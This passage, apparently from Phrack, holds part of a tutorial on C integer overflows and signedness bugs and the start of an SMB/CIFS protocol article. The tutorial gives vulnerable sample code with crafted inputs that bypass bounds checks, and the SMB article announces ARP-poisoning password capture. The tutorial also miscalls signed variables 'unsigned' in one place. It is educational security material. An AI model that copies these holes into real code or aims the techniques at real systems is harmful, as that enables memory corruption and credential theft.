negative; if it is set to 0, the variable is positive. This can cause some confusion, as will be explained in the section on signedness bugs, because not all variables are signed, meaning they do not all use the MSB to determine whether they are positive or negative. These variable are known as unsigned and can only be assigned positive values, whereas variables which can be either positive or negative are called unsigned. ----[ 1.2 What is an integer overflow? Since an integer is a fixed size (32 bits for the purposes of this paper), there is a fixed maximum value it can store. When an attempt is made to store a value greater than this maximum value it is known as an integer overflow. The ISO C99 standard says that an integer overflow causes "undefined behaviour", meaning that compilers conforming to the standard may do anything they like from completely ignoring the overflow to aborting the program. Most compilers seem to ignore the overflow, resulting in an unexpected or erroneous result being stored. ----[ 1.3 Why can they be dangerous? Integer overflows cannot be detected after they have happened, so there is not way for an application to tell if a result it has calculated previously is in fact correct. This can get dangerous if the calculation has to do with the size of a buffer or how far into an array to index. Of course most integer overflows are not exploitable because memory is not being directly overwritten, but sometimes they can lead to other classes of bugs, frequently buffer overflows. As well as this, integer overflows can be difficult to spot, so even well audited code can spring surprises. --[ 2.0 Integer overflows So what happens when an integer overflow does happen? ISO C99 has this to say: "A computation involving unsigned operands can never overflow, because a result that cannot be represented by the resulting unsigned integer type is reduced modulo the number that is one greater than the largest value that can be represented by the resulting type." NB: modulo arithmetic involves dividing two numbers and taking the remainder, e.g. 10 modulo 5 = 0 11 modulo 5 = 1 so reducing a large value modulo (MAXINT + 1) can be seen as discarding the portion of the value which cannot fit into an integer and keeping the rest. In C, the modulo operator is a % sign. This is a bit wordy, so maybe an example will better demonstrate the typical "undefined behaviour": We have two unsigned integers, a and b, both of which are 32 bits long. We assign to a the maximum value a 32 bit integer can hold, and to b we assign 1. We add a and b together and store the result in a third unsigned 32 bit integer called r: a = 0xffffffff b = 0x1 r = a + b Now, since the result of the addition cannot be represented using 32 bits, the result, in accordance with the ISO standard, is reduced modulo 0x100000000. r = (0xffffffff + 0x1) % 0x100000000 r = (0x100000000) % 0x100000000 = 0 Reducing the result using modulo arithmetic basically ensures that only the lowest 32 bits of the result are used, so integer overflows cause the result to be truncated to a size that can be represented by the variable. This is often called a "wrap around", as the result appears to wrap around to 0. ----[ 2.1 Widthness overflows So an integer overflow is the result of attempting to store a value in a variable which is too small to hold it. The simplest example of this can be demonstrated by simply assigning the contents of large variable to a smaller one: /* ex1.c - loss of precision */ #include int main(void){ int l; short s; char c; l = 0xdeadbeef; s = l; c = l; printf("l = 0x%x (%d bits)\n", l, sizeof(l) * 8); printf("s = 0x%x (%d bits)\n", s, sizeof(s) * 8); printf("c = 0x%x (%d bits)\n", c, sizeof(c) * 8); return 0; } /* EOF */ The output of which looks like this: nova:signed {48} ./ex1 l = 0xdeadbeef (32 bits) s = 0xffffbeef (16 bits) c = 0xffffffef (8 bits) Since each assignment causes the bounds of the values that can be stored in each type to be exceeded, the value is truncated so that it can fit in the variable it is assigned to. It is worth mentioning integer promotion here. When a calculation involving operands of different sizes is performed, the smaller operand is "promoted" to the size of the larger one. The calculation is then performed with these promoted sizes and, if the result is to be stored in the smaller variable, the result is truncated to the smaller size again. For example: int i; short s; s = i; A calculation is being performed with different sized operands here. What happens is that the variable s is promoted to an int (32 bits long), then the contents of i is copied into the new promoted s. After this, the contents of the promoted variable are "demoted" back to 16 bits in order to be saved in s. This demotion can cause the result to be truncated if it is greater than the maximum value s can hold. ------[ 2.1.1 Exploiting Integer overflows are not like most common bug classes. They do not allow direct overwriting of memory or direct execution flow control, but are much more subtle. The root of the problem lies in the fact that there is no way for a process to check the result of a computation after it has happened, so there may be a discrepancy between the stored result and the correct result. Because of this, most integer overflows are not actually exploitable. Even so, in certain cases it is possible to force a crucial variable to contain an erroneous value, and this can lead to problems later in the code. Because of the subtlety of these bugs, there is a huge number of situations in which they can be exploited, so I will not attempt to cover all exploitable conditions. Instead, I will provide examples of some situations which are exploitable, in the hope of inspiring the reader in their own research :) Example 1: /* width1.c - exploiting a trivial widthness bug */ #include #include int main(int argc, char *argv[]){ unsigned short s; int i; char buf[80]; if(argc < 3){ return -1; } i = atoi(argv[1]); s = i; if(s >= 80){ /* [w1] */ printf("Oh no you don't!\n"); return -1; } printf("s = %d\n", s); memcpy(buf, argv[2], i); buf[i] = '\0'; printf("%s\n", buf); return 0; } While a construct like this would probably never show up in real life code, it serves well as an example. Take a look at the following inputs: nova:signed {100} ./width1 5 hello s = 5 hello nova:signed {101} ./width1 80 hello Oh no you don't! nova:signed {102} ./width1 65536 hello s = 0 Segmentation fault (core dumped) The length argument is taken from the command line and held in the integer i. When this value is transferred into the short integer s, it is truncated if the value is too great to fit into s (i.e. if the value is greater than 65535). Because of this, it is possible to bypass the bounds check at [w1] and overflow the buffer. After this, standard stack smashing techniques can be used to exploit the process. ----[ 2.2 Arithmetic overflows As shown in section 2.0, if an attempt is made to store a value in an integer which is greater than the maximum value the integer can hold, the value will be truncated. If the stored value is the result of an arithmetic operation, any part of the program which later uses the result will run incorrectly as the result of the arithmetic being incorrect. Consider this example demonstrating the wrap around shown earlier: /* ex2.c - an integer overflow */ #include int main(void){ unsigned int num = 0xffffffff; printf("num is %d bits long\n", sizeof(num) * 8); printf("num = 0x%x\n", num); printf("num + 1 = 0x%x\n", num + 1); return 0; } /* EOF */ The output of this program looks like this: nova:signed {4} ./ex2 num is 32 bits long num = 0xffffffff num + 1 = 0x0 Note: The astute reader will have noticed that 0xffffffff is decimal -1, so it appears that we're just doing 1 + (-1) = 0 Whilst this is one way at looking at what's going on, it may cause some confusion since the variable num is unsigned and therefore all arithmetic done on it will be unsigned. As it happens, a lot of signed arithmetic depends on integer overflows, as the following demonstrates (assume both operands are 32 bit variables): -700 + 800 = 100 0xfffffd44 + 0x320 = 0x100000064 Since the result of the addition exceeds the range of the variable, the lowest 32 bits are used as the result. These low 32 bits are 0x64, which is equal to decimal 100. Since an integer is signed by default, an integer overflow can cause a change in signedness which can often have interesting effects on subsequent code. Consider the following example: /* ex3.c - change of signedness */ #include int main(void){ int l; l = 0x7fffffff; printf("l = %d (0x%x)\n", l, l); printf("l + 1 = %d (0x%x)\n", l + 1 , l + 1); return 0; } /* EOF */ The output of which is: nova:signed {38} ./ex3 l = 2147483647 (0x7fffffff) l + 1 = -2147483648 (0x80000000) Here the integer is initialised with the highest positive value a signed long integer can hold. When it is incremented, the most significant bit (indicating signedness) is set and the integer is interpreted as being negative. Addition is not the only arithmetic operation which can cause an integer to overflow. Almost any operation which changes the value of a variable can cause an overflow, as demonstrated in the following example: /* ex4.c - various arithmetic overflows */ #include int main(void){ int l, x; l = 0x40000000; printf("l = %d (0x%x)\n", l, l); x = l + 0xc0000000; printf("l + 0xc0000000 = %d (0x%x)\n", x, x); x = l * 0x4; printf("l * 0x4 = %d (0x%x)\n", x, x); x = l - 0xffffffff; printf("l - 0xffffffff = %d (0x%x)\n", x, x); return 0; } /* EOF */ Output: nova:signed {55} ./ex4 l = 1073741824 (0x40000000) l + 0xc0000000 = 0 (0x0) l * 0x4 = 0 (0x0) l - 0xffffffff = 1073741825 (0x40000001) The addition is causing an overflow in exactly the same way as the first example, and so is the multiplication, although it may seem different. In both cases the result of the arithmetic is too great to fit in an integer, so it is reduced as described above. The subtraction is slightly different, as it is causing an underflow rather than an overflow: an attempt is made to store a value lower than the minimum value the integer can hold, causing a wrap around. In this way we are able to force an addition to subtract, a multiplication to divide or a subtraction to add. ------[ 2.2.1 Exploiting One of the most common ways arithmetic overflows can be exploited is when a calculation is made about how large a buffer must be allocated. Often a program must allocate space for an array of objects, so it uses the malloc(3) or calloc(3) routines to reserve the space and calculates how much space is needed by multiplying the number of elements by the size of an object. As has been previously shown, if we are able to control either of these operands (number of elements or object size) we may be able to mis-size the buffer, as the following code fragment shows: int myfunction(int *array, int len){ int *myarray, i; myarray = malloc(len * sizeof(int)); /* [1] */ if(myarray == NULL){ return -1; } for(i = 0; i < len; i++){ /* [2] */ myarray[i] = array[i]; } return myarray; } This seemingly innocent function could bring about the downfall of a system due to its lack of checking of the len parameter. The multiplication at [1] can be made to overflow by supplying a high enough value for len, so we can force the buffer to be any length we choose. By choosing a suitable value for len, we can cause the loop at [2] to write past the end of the myarray buffer, resulting in a heap overflow. This could be leveraged into executing arbitrary code on certain implementations by overwriting malloc control structures, but that is beyond the scope of this article. Another example: int catvars(char *buf1, char *buf2, unsigned int len1, unsigned int len2){ char mybuf[256]; if((len1 + len2) > 256){ /* [3] */ return -1; } memcpy(mybuf, buf1, len1); /* [4] */ memcpy(mybuf + len1, buf2, len2); do_some_stuff(mybuf); return 0; } In this example, the check at [3] can be bypassed by using suitable values for len1 and len2 that will cause the addition to overflow and wrap around to a low number. For example, the following values: len1 = 0x104 len2 = 0xfffffffc when added together would result in a wrap around with a result of 0x100 (decimal 256). This would pass the check at [3], then the memcpy(3)'s at [4] would copy data well past the end of the buffer. --[ 3 Signedness Bugs Signedness bugs occur when an unsigned variable is interpreted as signed, or when a signed variable is interpreted as unsigned. This type of behaviour can happen because internally to the computer, there is no distinction between the way signed and unsigned variables are stored. Recently, several signedness bugs showed up in the FreeBSD and OpenBSD kernels, so there are many examples readily available. ----[ 3.1 What do they look like? Signedness bugs can take a variety of forms, but some of the things to look out for are: * signed integers being used in comparisons * signed integers being used in arithmetic * unsigned integers being compared to signed integers Here is classic example of a signedness bug: int copy_something(char *buf, int len){ char kbuf[800]; if(len > sizeof(kbuf)){ /* [1] */ return -1; } return memcpy(kbuf, buf, len); /* [2] */ } The problem here is that memcpy takes an unsigned int as the len parameter, but the bounds check performed before the memcpy is done using signed integers. By passing a negative value for len, it is possible to pass the check at [1], but then in the call to memcpy at [2], len will be interpeted as a huge unsigned value, causing memory to be overwritten well past the end of the buffer kbuf. Another problem that can stem from signed/unsigned confusion occurs when arithmetic is performed. Consider the following example: int table[800]; int insert_in_table(int val, int pos){ if(pos > sizeof(table) / sizeof(int)){ return -1; } table[pos] = val; return 0; } Since the line table[pos] = val; is equivalent to *(table + (pos * sizeof(int))) = val; we can see that the problem here is that the code does not expect a negative operand for the addition: it expects (table + pos) to be greater than table, so providing a negative value for pos causes a situation which the program does not expect and can therefore not deal with. ------[ 3.1.1 Exploiting This class of bug can be problematic to exploit, due to the fact that signed integers, when interpreted as unsigned, tend to be huge. For example, -1 when represented in hexadecimal is 0xffffffff. When interpreted as unsiged, this becomes the greatest value it is possible to represent in an integer (4,294,967,295), so if this value is passed to mempcpy as the len parameter (for example), memcpy will attempt to copy 4GB of data to the destination buffer. Obviously this is likely to cause a segfault or, if not, to trash a large amount of the stack or heap. Sometimes it is possible to get around this problem by passing a very low value for the source address and hope, but this is not always possible. ----[ 3.2 Signedness bugs caused by integer overflows Sometimes, it is possible to overflow an integer so that it wraps around to a negative number. Since the application is unlikely to expect such a value, it may be possible to trigger a signedness bug as described above. An example of this type of bug could look like this: int get_two_vars(int sock, char *out, int len){ char buf1[512], buf2[512]; unsigned int size1, size2; int size; if(recv(sock, buf1, sizeof(buf1), 0) < 0){ return -1; } if(recv(sock, buf2, sizeof(buf2), 0) < 0){ return -1; } /* packet begins with length information */ memcpy(&size1, buf1, sizeof(int)); memcpy(&size2, buf2, sizeof(int)); size = size1 + size2; /* [1] */ if(size > len){ /* [2] */ return -1; } memcpy(out, buf1, size1); memcpy(out + size1, buf2, size2); return size; } This example shows what can sometimes happen in network daemons, especially when length information is passed as part of the packet (in other words, it is supplied by an untrusted user). The addition at [1], used to check that the data does not exceed the bounds of the output buffer, can be abused by setting size1 and size2 to values that will cause the size variable to wrap around to a negative value. Example values could be: size1 = 0x7fffffff size2 = 0x7fffffff (0x7fffffff + 0x7fffffff = 0xfffffffe (-2)). When this happens, the bounds check at [2] passes, and a lot more of the out buffer can be written to than was intended (in fact, arbitrary memory can be written to, as the (out + size1) dest parameter in the second memcpy call allows us to get to any location in memory). These bugs can be exploited in exactly the same way as regular signedness bugs and have the same problems associated with them - i.e. negative values translate to huge positive values, which can easily cause segfaults. --[ 4 Real world examples There are many real world applications containing integer overflows and signedness bugs, particularly network daemons and, frequently, in operating system kernels. ----[ 4.1 Integer overflows This (non-exploitable) example was taken from a security module for linux. This code runs in the kernel context: int rsbac_acl_sys_group(enum rsbac_acl_group_syscall_type_t call, union rsbac_acl_group_syscall_arg_t arg) { ... switch(call) { case ACLGS_get_group_members: if( (arg.get_group_members.maxnum <= 0) /* [A] */ || !arg.get_group_members.group ) { ... rsbac_uid_t * user_array; rsbac_time_t * ttl_array; user_array = vmalloc(sizeof(*user_array) * arg.get_group_members.maxnum); /* [B] */ if(!user_array) return -RSBAC_ENOMEM; ttl_array = vmalloc(sizeof(*ttl_array) * arg.get_group_members.maxnum); /* [C] */ if(!ttl_array) { vfree(user_array); return -RSBAC_ENOMEM; } err = rsbac_acl_get_group_members(arg.get_group_members.group, user_array, ttl_array, arg.get_group_members.max num); ... } In this example, the bounds checking at [A] is not sufficient to prevent the integer overflows at [B] and [C]. By passing a high enough (i.e. greater than 0xffffffff / 4) value for arg.get_group_members.maxnum, we can cause the multiplications at [B] and [C] to overflow and force the buffers ttl_array and user_array to be smaller than the application expects. Since rsbac_acl_get_group_members copies user controlled data to these buffers, it is possible to write past the end of the user_array and ttl_array buffers. In this case, the application used vmalloc() to allocate the buffers, so an attempt to write past the end of the buffers will simply raise an error, so it cannot be exploited. Even so, it provides an example of what these bugs can look like in real code. Another example of a recent real world integer overflow vulnerability was the problem in the XDR RPC library (discovered by ISS X-Force). In this case, user supplied data was used in the calculation of the size of a dynamically allocated buffer which was filled with user supplied data. The vulnerable code was this: bool_t xdr_array (xdrs, addrp, sizep, maxsize, elsize, elproc) XDR *xdrs; caddr_t *addrp; /* array pointer */ u_int *sizep; /* number of elements */ u_int maxsize; /* max numberof elements */ u_int elsize; /* size in bytes of each element */ xdrproc_t elproc; /* xdr routine to handle each element */ { u_int i; caddr_t target = *addrp; u_int c; /* the actual element count */ bool_t stat = TRUE; u_int nodesize; ... c = *sizep; if ((c > maxsize) && (xdrs->x_op != XDR_FREE)) { return FALSE; } nodesize = c * elsize; /* [1] */ ... *addrp = target = mem_alloc (nodesize); /* [2] */ ... for (i = 0; (i < c) && stat; i++) { stat = (*elproc) (xdrs, target, LASTUNSIGNED); /* [3] */ target += elsize; } As you can see, by supplying large values for elsize and c (sizep), it was possible to cause the multiplication at [1] to overflow and cause nodesize to be much smaller than the application expected. Since nodesize was then used to allocate a buffer at [2], the buffer could be mis-sized leading to a heap overflow at [3]. For more information on this hole, see the CERT advisory listed in the appendix. ----[ 4.2 Signedness bugs Recently, several signedness bugs were brought to light in the freebsd kernel. These allowed large portions of kernel memory to be read by passing negative length paramters to various syscalls. The getpeername(2) function had such a problem and looked like this: static int getpeername1(p, uap, compat) struct proc *p; register struct getpeername_args /* { int fdes; caddr_t asa; int *alen; } */ *uap; int compat; { struct file *fp; register struct socket *so; struct sockaddr *sa; int len, error; ... error = copyin((caddr_t)uap->alen, (caddr_t)&len, sizeof (len)); if (error) { fdrop(fp, p); return (error); } ... len = MIN(len, sa->sa_len); /* [1] */ error = copyout(sa, (caddr_t)uap->asa, (u_int)len); if (error) goto bad; gotnothing: error = copyout((caddr_t)&len, (caddr_t)uap->alen, sizeof (len)); bad: if (sa) FREE(sa, M_SONAME); fdrop(fp, p); return (error); } This is a classic example of a signedness bug - the check at [1] did not take into account the fact that len could be negative, in which case the MIN macro would always return len. When this negative len parameter was passed to copyout, it was interpretted as a huge positive integer which caused copyout to copy up to 4GB of kernel memory to user space. --[ Conclusion Integer overflows can be extremely dangerous, partly because it is impossible to detect them after they have happened. If an integer overflow takes place, the application cannot know that the calculation it has performed is incorrect, and it will continue under the assumption that it is. Even though they can be difficult to exploit, and frequently cannot be exploited at all, they can cause unepected behaviour, which is never a good thing in a secure system. --[ Appendix CERT advisory on the XDR bug: http://www.cert.org/advisories/CA-2002-25.html FreeBSD advisory: http://online.securityfocus.com/advisories/4407 |=[ EOF ]=---------------------------------------------------------------=| Volume 0x0b, Issue 0x3c, Phile #0x0b of 0x10 |=---------------------=[ SMB/CIFS BY THE ROOT ]=------------------------=| |=-----------------------------------------------------------------------=| |=---------------=[ ledin ]=-----------------=| --[ Contents 1 - Introduction 2 - What is SMB/CIFS 3 - Session establishment How does a client establish a SMB session with a server ? 4 - Security level of SMB 5 - Passwords 6 - Description of several SMB packets 6.1 - The general aspect of a SMB packet 6.2 - NETBIOS and SMB 6.3 - The SMB base header 6.4 - Description of the most importants SMB commands 6.5 - How I can recover SMB passwords in clear from the network when they should be encrypted ? 6.6 - Man in the middle attack 6.7 - Notes about windows 2k/XP SMB operating over TCP 7 - Transaction subprotocol and RAP commands 7.1 - RAP commands 8 - Using RAP commands to list shares available on a server 8.1 - TconX packets 8.2 - Explanation of the RAP command "NetshareEnum" 9 - Conclusion 10 - References 11 - Thanks Appendix A Appendix B --[ 1 - Introduction In this article, I will try to explain what CIFS and SMB are , how it works and some common insecurities present on these protocols. This article constitue a useful source of knowledge about Microsoft networking. The SMB protocol is one of the most used protocols on LAN. I have also included source code in the aim of giving a good expamle of SMB operating. You will learn how to use ARP poisoning to have password in clear from the network when all SMB passwords are encrypted (without brute forcing). You will be able to understand the link between SMB and NETBIOS. You will also learn what is and how works the Microsoft Remote Administration Protocol (RAP) for scanning remote shares on a SMB server. Programs and information are given for educational purpose only. I could be not responsable of what you will make with. --[ 2 - What is SMB/CIFS ? According to Microsoft CIFS is intended to provide an open cross- platform mechanism for client systems to request file and print services from server systems over a network. It is based on the standard Server Message Block (SMB) protocol widely in use by personal computers and workstations running a wide variety of operating systems. In fact, SMB (for Server Message Block) is a protocol which operates the data transfert between sharing files, devices, named pipes or mail slot across a network. CIFS is a public version of SMB. SMB clients available : from Microsoft : Windows 95, Windows for workgroups 3.x, Windows NT,2000 and XP for Linux : Smblient from Samba Smbfs for Linux SMB servers : Samba Microsoft Windows for Workgroups 3.x Microsoft Windows 95 Microsoft Windows NT The PATHWORKS family of servers from Digital LAN Manager for OS/2,SCO,etc VisionFS from SCO TotalNET Advanced Server from Syntax Advanced Serverfor UNIX from AT&T (NCR?) LAN Server for OS/2 from IBM. --[ 3 - Session establishment Note : SMB protocol was developed to run on DOS ( powered by an Intel chip) so byte ordering is little-endian the opposite of network ordering. SMB can run over TCP/IP, NetBEUI, DECnet Protocol and IPX/SPX. With a SMB implementation over TCP/IP, DECnet or NETBEUI, the NETBIOS names must be use. I will explain in the sixth chapter what NETBIOS is. But for the moment, you just have to know that a NETBIOS name identifies one computer on a Microsoft network. The development of SMB has begun in the eighties, so there is a lot of versions of the SMB protocol. But the most used (on Windows 95, 98, Windows NT, Windows 2000 and XP) is the NT LM 0.12 version. This article is based on the NT LM 0.12 version. You have to know that a SMB Domain name identifies a group of ressource (users, printers, files ..) on a SMB server. How does a client establish a SMB session with a server ? Let's take this situation : a client wants to access to a specific ressource on a server. 1 - To begin the client requests the server for a NETBIOS session. The client sends his encoded NETBIOS name to the SMB server (which listening connection requests on port 139). The server receives the NETBIOS name and replies with a NETBIOS session packet to valid the session. The client enters after in a SMB session establishment i.e the identification of the client to the SMB server. 2 - The client sends a SMB negprot request packet (negprot for "negotiate protocol"). The client gives a list of SMB protocol versions supported. Then the server sends a SMB negprot reply packet (with informations like SMB domain name, maximun connections accepted, SMB protocol versions supported ...) 3 - After the negotiation of protocols, the client processes to a user or share identification on the server.(see the next chapter to know what is the difference between a share and a user identification) This process is operated by the SesssetupX request packet (SesssetupX for Session Setup and X). The client sends a couple login/password or a simple password to the server that refuses or allows the conection with a SessetupX reply packet. 4 - Ok, when the client has finished with negotiation and identification it sends a tconX packet for specifying the network name of the ressource that it wants to access, and the server sends a Tconx reply indicating if the connection is accepted or not. netbios session request (netbios name) [client] ---------------------------> [server] 1) netbios session granted [client] <-------------------------- [server] SMB negprot request [client] ---------------------------> [server] 2) SMB negprot reply [client] <-------------------------- [server] SMB sesssetupX request [client] ---------------------------> [server] 3) SMB sesssetupX reply [client] <-------------------------- [server] SMB TconX request [client] ---------------------------> [server] 4) SMB TconX reply [client] <-------------------------- [server] A complete description of each packets is given in the chapter six. --[ 4 - Security level of SMB There is two types of security models on SMB : The first is the "Share level" security model. This security model associates a password to a shared ressource on the network. The user logs to this ressource (IPC, Disk, Printers) with the correct password. The user is anyone on the network who knows the name of the server where the ressource is. The second is the "User Level". This security model is an enhanced implementation of the first. It consists to associate a couple of login/password to a shared ressource. So if a person wants to connect to this shared ressource, he has to know the login/password couple. This security level is useful to know who makes what. --[ 5 - Passwords With SMB, when you have to make an identification on a server, your password could be sent in clear or encrypted. If the server supports encryption, the client will have to answer a challenge. The server knows the password, so in the negprot reply packet, an encryption key will be send to the client. The client encrypts the password, and sends it in the SesssetupX request packet, the server verifies the validity of the password and allows the session or not. You have to know that a SMB password (not encrypted) is 14 bytes long maximum. The size of the encryption key is usually 8 bytes long. The size of the encrypted password is 24 bytes. With ANSI password, the characters of the password are converted in upper case for the encryption. The password is encrypted with a DES encryption in block mode. --[6 - Description of several SMB packets In this part I will give the description of the most important packets types involved in SMB protocol. I know it's a bit boring but this is the base to understand how works SMB and the attacks. I will explain what is very important in each type of packet. For each type of command correspond two types of packets. The request packet and the reply packet. ----[ 6.1 - The general aspect of a SMB packet. In the majority of case SMB runs over TCP/IP protocol suite. So let's consider that SMB runs over TCP layer for us. Over the TCP layer, you will always find the NETBIOS (NBT) header. Over NBT you have the SMB base header. Over the SMB base header, you have an another type of header, which depends of the specific command you request. ---------------------- | TCP header | ---------------------- | NETBIOS header | ---------------------- | SMB base header | ---------------------- | SMB Command header | ---------------------- | DATA | ---------------------- The "SMB Base header" contains several informations, like the size of reception buffers, maximum connexions allowed... It also contains a number that identifies the command requested. "SMB command header" is a header with all the parameters for the requested command (a command like negotiate protocol versions ... ) "DATA" is the data for the requested command. I call "SMB packet", the NETBIOS Header + the SMB base header + the SMB Command header + DATA. NOTE : I will use this definitions : typedef unsigned char UCHAR; // 8 unsigned bits typedef unsigned short USHORT; // 16 unsigned bits typedef unsigned long ULONG; // 32 unsigned bits and STRING defined a null terminated ASCII string. ----[ 6.2 - NETBIOS and SMB NETBIOS (for NETwork Basic Input and Outpout System) is widely use on Microsoft networks. It is a sofware interface and a naming system. Each computer has a NETBIOS name, which is 15 characters long, and a sixteenth character is used to identify the type of computer ( Domain Name server, workstation...). Value for the sixteenth character : 0x00 base computer, workstation. 0x20 resource sharing server. There are other values but these are the most interessant for us. The first (0x00) identify a workstation and the second (0x20) the server. On a SMB packet, the NETBIOS header corresponds to the NETBIOS Session header, defined like this : UCHAR Type; // Type of the packet UCHAR Flags; // Flags USHORT Length; // Count of data bytes (netbios header not included) For the "Flags" field, the value is always 0. (with SMB, not in general !) For the "Type" field, several values are possible : 0x81 corresponds to a NETBIOS session request. This code is used when the client sends its NETBIOS name to the server. 0x82 is a positive response to a NETBIOS session request. This code is used by the server to authorize a NETBIOS session. 0x00 correspond to a session message. This code is always used in a SMB session i.e when the client has sent his NETBIOS name to the server and has received a positive reply. The "Length" field contains a count of data bytes (The netbios header is not included), "data" means what is above the NETBIOS header (it could be the SMB Base header + SMB Command header + DATA or NETBIOS names). NETBIOS names and encoding A NETBIOS encoded name is 32 bytes long. A NETBIOS name is always given in upper case characters. It's very easy to encode a NETBIOS name. For example the NETBIOS name of my computer is "BILL" and it's a workstation so there is a "0x00" for the sixteenth character. Firstly, when a NETBIOS name is shorter than 15 bytes, it may be padded on the right with spaces. "BILL " In hexadecimal 0x42 0x49 0x4c 0x4c 0x20 0x20 ......0x00 Each bytes are splited into 4-bit halves. 0x4 0x2 0x4 0x9 0x4 0xc 0x4 0xc 0x2 0x0 ....... And each 4-bit half is added to the ASCII value of the 'A' letter (0x41) 0x4 + 0x41 = 0x45 -> ASCII value = E 0x2 + 0x41 = 0x43 -> ASCII value = C ... And you have the encoded NETBIOS name which is 32 bytes long. Note : SMB can run directly over TCP without NBT (it's supported on Win2k and XP on port 445). The NETBIOS name are not limited to 15 characters. You don't need to know more, if you want to have more information about NETBIOS read [3] and [4]. ----[ 6.3 - The SMB base header This header is used in all SMB packets, this is its definition : UCHAR Protocol[4]; // Contains 0xFF,'SMB' UCHAR Command; // Command code union { struct { UCHAR ErrorClass; // Error class UCHAR Reserved; // Reserved for future use USHORT Error; // Error code } DosError; ULONG Status; // 32-bit error code } Status; UCHAR Flags; // Flags USHORT Flags2; // More flags union { USHORT Pad[6]; // Ensure section is 12 bytes long struct { USHORT PidHigh; // High part of PID ULONG Unused; // Not used ULONG Unused2; } Extra; }; USHORT Tid; // Tree identifier USHORT Pid; // Caller's process id USHORT Uid; // Unauthenticated user id USHORT Mid; // multiplex id UCHAR WordCount; // Count of parameter words USHORT ParameterWords[ WordCount ]; // The parameter words USHORT ByteCount; // Count of bytes UCHAR Buffer[ ByteCount ]; // The bytes The "Protocol" field contains the name of the protocol (SMB) with a 0xFF before. The "Command" field contains the value of the requested command. For example 0x72 is for the "negotiate protocol" command. The "Tid" field is used when the client is successfully connected to a ressource on a SMB server . The TID number identifies this ressource. The "Pid" field is used when the client has successfully created a process on the server. The PID number identifies this process. The "Uid" field is used when a user is successfully authenticated on a server. The UID number identify this user. The "Mid" field is used in couple with the PID when a client has several requests on the server ( process, threads, file acess...). The "Flags2" field is also important, when the bit 15 is armed, the strings are UNICODE strings . ----[ 6.4 - Description of the most importants SMB commands SMB negotiate Protocol (negprot) The Negotiate Protocol Command is used in the first step of the SMB session establishment. The Command code for the field "Command" in the SMB Base header is : 0x72. Here is the description of the negprot request and reply headers : Request header UCHAR WordCount; Count of parameter words = 0 USHORT ByteCount; Count of data bytes struct { UCHAR BufferFormat; 0x02 -- Dialect UCHAR DialectName[]; ASCII null-terminated string } Dialects[]; This packet is sent by the client to give the server its list of SMB protocol versions supported. Just three things to say, for this packets, "WordCount" field is always set to zero, "ByteCount" field is equal to the size of the "Dialects" structure, the field "BufferFormat of "Dialects" is always equal to 0x02. The "DialectName" string contains the name of the several SMB protocol versions supported by the client. Reply header UCHAR WordCount; Count of parameter words = 17 USHORT DialectIndex; Index of selected dialect UCHAR SecurityMode; Security mode: bit 0: 0 = share, 1 = user bit 1: 1 = encrypt passwords USHORT MaxMpxCount; Max pending multiplexed requests USHORT MaxNumberVcs; Max VCs between client and server ULONG MaxBufferSize; Max transmit buffer size ULONG MaxRawSize; Maximum raw buffer size ULONG SessionKey; Unique token identifying this session ULONG Capabilities; Server capabilities ULONG SystemTimeLow; System (UTC) time of the server (low). ULONG SystemTimeHigh; System (UTC) time of the server (high). USHORT ServerTimeZone; Time zone of server (min from UTC) UCHAR EncryptionKeyLength; Length of encryption key. USHORT ByteCount; Count of data bytes UCHAR EncryptionKey[]; The challenge encryption key UCHAR OemDomainName[]; The name of the domain (in OEM chars) This packet is sent by the server to give the client the list of SMB protocol versions supported, the SMB domain name of the server and an encryption key if necessary. IMPORTANT : The first interessant field is the "SecurityMode" byte. If the bit 0 is armed we have a user security level. If it's not, we have a share security level. If the bit 1 is armed the password is encrypted with a DES encryption in block mode. The "SessionKey" field is used to identify the session . There is one single session key for one session. The "Capabilities" field indicates if the server supported UNICODE strings or NT LM 0.12 particular commands ... The datas are at the end of the header. With a negprot reply, these datas corespond to the strings "EncryptionKey" and "OemDomainName". The length of these two strings together is given by the "Bytecount" field. The length of the "EncrytionKey" string is given by the field "EncryptionKeyLength". The "EncryptionKey" string contains the Key for the encryption of the password. The length of "OemDomainName" is given by (Bytecount - EncryptionKeyLength). The "OemDomainName" string contains the SMB domain name of the server (in OEM chars). Session setup and X The Session Setup and X packets (SesssetupX or setupx for abbrevation) are used to deal with the identity of a user or when you have to give a password to acess a ressource. The Command code for the Session Setup and X command is 0x73. Request header UCHAR WordCount; Count of parameter words = 13 UCHAR AndXCommand; Secondary (X) command; 0xFF = none UCHAR AndXReserved; Reserved (must be 0) USHORT AndXOffset; Offset to next command WordCount USHORT MaxBufferSize; Client's maximum buffer size USHORT MaxMpxCount; Actual maximum multiplexed pending requests USHORT VcNumber; 0 = first (only), nonzero=additional VC number ULONG SessionKey; Session key (valid iff VcNumber != 0) USHORT Account password size, ANSI CaseInsensitivePasswordLength; USHORT Account password size, Unicode CaseSensitivePasswordLength; ULONG Reserved; must be 0 ULONG Capabilities; Client capabilities USHORT ByteCount; Count of data bytes; min = 0 UCHAR Account Password, ANSI CaseInsensitivePassword[]; UCHAR CaseSensitivePassword[]; Account Password, Unicode STRING AccountName[]; Account Name, Unicode STRING PrimaryDomain[]; Client's primary domain, Unicode STRING NativeOS[]; Client's native operating system, Unicode STRING NativeLanMan[]; Client's native LAN Manager type, Unicode This packet gives a lot of information about the client's system. The field "MaxBufferSize" is very important, it gives the maximun size of data that the client can receive. If you set it to zero you will not receive any type of data from the server. For the data, you have several strings. The most important are "CaseSensitivePassword" (password in UNICODE characters) and "CaseInsensitivePassword" (password in ANSI characters). One of both is used, it depends if the server is supporting UNICODE strings or not (see negatiate protocol reply packet description). The length of the password is given in the fields "CaseInsensitivePasswordLength" or in "CaseSensitivePasswordLength" . For the other strings, see the description. The count of data bytes is given by the "Bytecount" field. Reply header UCHAR WordCount; Count of parameter words = 3 UCHAR AndXCommand; Secondary (X) command; 0xFF = none UCHAR AndXReserved; Reserved (must be 0) USHORT AndXOffset; Offset to next command WordCount USHORT Action; Request mode: bit0 = logged in as GUEST USHORT ByteCount; Count of data bytes STRING NativeOS[]; Server's native operating system STRING NativeLanMan[]; Server's native LAN Manager type STRING PrimaryDomain[]; Server's primary domain Again, there are a lot of information on this packet : OS Type, version of the SMB server software running on server and DomainName. If the connection failed, there is nothing for NativeOS, NativeLanman and PrimaryDomain strings. OK I have finished with the "hard" part, we can play a little with the SMB protocol. If you want to learn more about it, read [1]. ----[ 6.5 - How I can recover SMB passwords in clear from the network when they should be encrypted During the session establishment, the password is sent to the server during the SMB setupx Session. The SMB negprot reply packet contains a bit in the 